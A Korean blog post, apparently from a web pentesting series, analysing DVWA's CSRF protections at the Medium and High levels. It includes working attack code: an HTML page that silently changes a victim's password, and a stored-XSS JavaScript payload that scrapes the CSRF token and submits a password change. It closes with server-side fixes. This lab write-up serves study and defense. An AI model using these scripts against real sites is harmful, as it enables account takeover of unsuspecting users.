웹 해킹 & 보안

[웹 모의해킹] CSRF -3편 - 보안 레벨 Medium, High 자동화 공격 스크립트 및 방어 코드 분석

ahhyun98 2025. 6. 1. 17:08

이전 글 보러 가기

 

[웹 모의해킹] CSRF - 2편 - 사이트 간 요청 위조 취약점 실습(환경 구성 + 공격 시나리오 + 에러 해

이전 글 보러 가기 [웹 모의해킹] CSRF - 사이트 간 요청 위조 취약점 실습이번 실습은 DVWA의 CSRF (Cross-Site Request Forgery) 취약점을 대상으로, 보안 레벨별 구조 분석 및 실제 공격 시나리오를 수행해

ahhyun98.tistory.com

 

 

이번 실습은 DVWA의 CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조) 취약점을 대상으로 보안 레벨 Medium, High에서의 공격 및 방어 로직 분석, 그리고 JavaScript 기반 자동화 공격을 구현한 고급 실습이다.
단순한 공격을 넘어, 정규 표현식을 활용한 토큰 피싱, XSS(stored)와의 복합 공격, 서버 측 방어 코드 리뷰, 환경 설정 오류 해결 등으로 구성해 보았다. 


1. 환경 설정 및 오류 해결

 

리눅스에서의 문제 

  • Burp Suite가 요청을 수신하지 않음
  • 원인 : Tomcat이 8080 포트를 점유하고 있어 충돌 발생

해결 방법

  • 실습 환경을 Windows로 전환하여 Burp Suite 사용
  • Apache, MariaDB 수동 시작
service apache2 start
systemctl start mariadb
  • 브라우저 프록시는 수동으로 127.0.0.1:8080 설정
  • DVWA 접속: http://target_ip/DVWA/
  • 보안 레벨 :medium, high로 변경하며 테스트

2. Medium 보안 레벨 구조 분석

 

=> DVWA의 medium 보안 레벨에서는 CSRF 방어 기능이 일부 적용되어 있지만, 여전히 공격이 가능한 구조이다. 

 

Medium 단계 소스코드

<?php
if (isset($_GET['Change'])) {
    // 1. Referer 검사
    if (eregi("127.0.0.1", $_SERVER['HTTP_REFERER'])) {
        
        // 2. 사용자 입력 처리
        $pass_new = $_GET['password_new'];
        $pass_conf = $_GET['password_conf'];

        // 3. 비밀번호 일치 확인
        if ($pass_new == $pass_conf) {

            // 4. 필터링 및 해싱
            $pass_new = mysql_real_escape_string($pass_new);
            $pass_new = md5($pass_new);

            // 5. DB에 저장
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = 'admin'";
            $result = mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>');

            echo "<pre> Password Changed </pre>";
            mysql_close();
        } else {
            echo "<pre> Passwords did not match. </pre>";
        }
    }
}
?>

 

방어 로직 분석 

요소 상태
CSRF 토큰 검증 없음
Referer 검사 있음 =>  eregi("127.0.0.1", $_SERVER['HTTP_REFERER'])
입력값 필터링 부분적으로 있음 =>  mysql_real_escape_string() 사용
비밀번호 해싱 있으나 약함 =>  md5()
요청 방식 제한 없음 => GET 방식 허용

 

주요 취약 요소

 

1. CSRF 토큰이 없음

  • 사용자의 요청이 진짜인지 확인할 수 있는 기준이 없음. 
  • 공격자가 피해자 세션을 이용해 그대로 요청 전송 가능. 

2. Referer 검사가 있긴 하지만 방식이 불완전

  • eregi("127.0.0.1", $_SERVER['HTTP_REFERER'])는 단순 문자열 비교.
  • Referer는 클라이언트에서 조작 가능하거나 생략 가능. 

3. GET 방식 허용

  • URL에 민감한 정보가 포함되며, 이미지 태그(<img src=...>)나 자동화 스크립트로 공격 가능.
  • 보통 POST 방식이 요구되어야 안전함. 


3. Medium 보안 레벨에서의 공격 시나리오

<!DOCTYPE html>
<html>
<head><title>CSRF MEDIUM</title></head>
<script>
  function csrf_medium() {
    var host = 'http://target_ip';
    var req_uri = host + "/DVWA/vulnerabilities/csrf/?password_new=hello&password_conf=hello&Change=Change";

    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.open("GET", req_uri, true);
    xhr.send();

    alert("비밀번호 변경이 완료되었습니다.");
  }
</script>
<body>
  CSRF MEDIUM<br/>
  눌러보세요~~
  <a href="javascript:csrf_medium()">Click!</a>
</body>
</html>

 

공격 결과

 

=> 로그인된 피해자가 해당 링크 클릭 시 비밀번호가 자동으로 hello로 변경됨. 

 


4. High 보안 레벨 구조 분석 (DVWA)

 

=> High 보안 레벨은 기존 비밀번호 확인, CSRF 토큰 삽입 등 방어 요소가 증가하였지만 여전히 우회 가능한 구조이다.

 

High 단계 소스코드

<?php
if (isset($_GET['Change'])) {
    // 1. 사용자 입력값 처리
    $pass_curr = $_GET['password_current'];
    $pass_new = $_GET['password_new'];
    $pass_conf = $_GET['password_conf'];

    // 2. 현재 비밀번호 필터링 및 해싱
    $pass_curr = stripslashes($pass_curr);
    $pass_curr = mysql_real_escape_string($pass_curr);
    $pass_curr = md5($pass_curr);

    // 3. DB에서 기존 비밀번호 조회
    $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr'";
    $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>');

    // 4. 새 비밀번호 확인 및 조건 검사
    if (($pass_new == $pass_conf) && ($result && mysql_num_rows($result) == 1)) {
        $pass_new = mysql_real_escape_string($pass_new);
        $pass_new = md5($pass_new);

        // 5. 비밀번호 업데이트
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user='admin'";
        $result = mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>');

        echo "<pre> Password Changed </pre>";
        mysql_close();
    } else {
        echo "<pre> Passwords did not match or current password incorrect </pre>";
    }
}
?>

 

방어 로직 분석

요소 상태
CSRF 토큰 검증 HTML에만 포함, 서버 검증 없음.
현재 비밀번호 확인 SELECT password WHERE user='admin' AND password='...'
입력값 필터링 있음 => mysql_real_escape_string() 사용
비밀번호 해싱 있음  =>  md5() => 약하지만 존재
요청 방식 제한 없음 (GET 허용됨)

 

5. High 단계에서의 공격 시나리오

 

공격 조건

  • 피해자는 로그인 상태임 (세션 쿠키 보유)
  • 공격자는 기존 비밀번호 (admin)을 알고 있음. (기본 admin 계정 사용)
  • CSRF 토큰은 XSS(stored)를 통해 탈취 후 공격 요청에 사용

XSS (Stored)를 이용한 토큰 탈취

 

 

var hostname = 'http://target_ip';  // 실제 IP 대신 익명화된 target_ip 사용
var the_url = hostname + '/DVWA/vulnerabilities/csrf';
var pass = 'kkkkk';
var regex = /name='user_token' value='([^']+)'/;  // 정규식: user_token 추출

var activated = false;  // 공격 요청 중복 방지용 플래그

if (window.XMLHttpRequest) {
    xmlhttp = new XMLHttpRequest();
    alert('Started Attack CSRF Script');
} else {
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}

xmlhttp.withCredentials = true;  // 쿠키 포함 설정 (PHPSESSID 전달 필요)

// 응답 처리 함수 정의
xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var text = xmlhttp.responseText;
        console.log(text);

        var match = text.match(regex);
        console.log(match);

        var token = match[1];  // 토큰 값 추출
        var new_url = the_url + '/?user_token=' + token +
                      '&password_current=admin' +
                      '&password_new=' + pass +
                      '&password_conf=' + pass +
                      '&Change=Change';

        if (!activated) {
            alert('Token that was received: ' + token);
            activated = true;

            xmlhttp.open("GET", new_url, false);  // 토큰 포함 요청 전송
            xmlhttp.send();
        }
    }
};

// 토큰 추출을 위한 첫 요청
xmlhttp.open("GET", the_url, false);
xmlhttp.send();

 

실행 흐름

  • /vulnerabilities/csrf 페이지에 접속해 HTML에서 user_token 추출
  • 기존 비밀번호와 함께 토큰을 포함한 요청 생성
  • 자동화된 GET 요청으로 비밀번호 변경 성공!!

 

서버 측 주요 보안 로직

방어 요소 설명
CSRF 토큰 검증 HTML에 포함되어 있으나 서버 검증 미비 (checkToken 미사용)
요청 방식 제한 없음 (GET 허용으로 자동화 쉬움)
입력값 필터링 mysql_real_escape_string() 사용
SQL 인젝션 방어 부분적으로 수행됨. 
비밀번호 해싱 md5() 사용 (실무에서는 bcrypt 권장)

 

 

전체 공격 흐름 요약

단계 설명
1단계 공격자가 자동화된 자바스크립트 기반 CSRF 스크립트 제작
2단계 공격자가 Stored XSS 취약점을 이용해 악성 스크립트를 DVWA 게시판에 저장
3단계 피해자가 로그인된 상태로 해당 XSS가 삽입된 DVWA 페이지 접속 
4단계 피해자의 브라우저에서 외부 악성 스크립트가 자동 실행됨.
5단계 CSRF 토큰 (user_token)을 추출하고, 기존 비밀번호를 포함한 비밀번호 변경 요청을 자동 전송
6단계 비밀번호 변경에 성공함!! + 더 나아가 공격자는 추가적인 침해 가능성을 확보함. 

6. 마무리

이번 실습은 단순한 CSRF 개념을 넘어서 보안 레벨별 방어 구조의 차이점을 분석하고, 서버 코드를 기반으로 한 우회 공격 시나리오까지 수행한 고급 실습이었다. 자바스크립트를 이용한 자동화, 정규표현식을 활용한 토큰 추출, 서버의 불완전한 방어 구조를 분석하고 이를 뚫는 과정까지 경험할 수 있었다. 또한, CSRF 대응 전략을 고민해 보는데도 큰 도움이 되었다. 


7. 서버 방어 개선 방안

이번 실습에서 확인했듯이, CSRF 방어가 제대로 구현되어 있지 않으면 단순한 자동화 스크립트만으로도 피해자의 계정 정보가 변경될 수 있다. 이를 방지하기 위해서는 아래와 같은 보안 로직을 구성해야 한다. 

 

1. CSRF 토큰 서버 검증 로직 구현

 

HTML에서 토큰을 삽입하는 것만으로는 충분하지 않고, 서버에서도 이를 검증해야 한다.

if ($_SESSION['token'] != $_POST['token']) {
    die("CSRF token validation failed.");
}

 

=> 서버에서 세션에 저장된 토큰과 요청에 포함된 토큰 값을 비교해야 한다. 

 

2. HTTP 요청 방식 제한 (POST만 허용)

 

GET 방식은 브라우저에서 쉽게 요청이 발생할 수 있어 CSRF에 취약하다. 

따라서 비밀번호 변경, 개인정보 수정 등의 민감한 요청은 반드시 POST 방식만 허용해야 한다.

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die("Invalid request method.");
}

 

3. 안전한 해싱 알고리즘 사용

 

MD5는 충돌 가능성이 높아 더 이상 안전하지 않다. PHP에서는 password_hash()와 password_verify()를 사용하는 것이 권장된다.

$hashed_password = password_hash($pass_new, PASSWORD_DEFAULT);
// 검증 시: password_verify($pass_input, $hashed_password)

 

이러한 보안 조치들을 실제 서비스에 적용하면 CSRF 뿐만 아니라 다양한 웹 보안 위협으로부터 효과적으로 사용자를 보호할 수 있다. 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.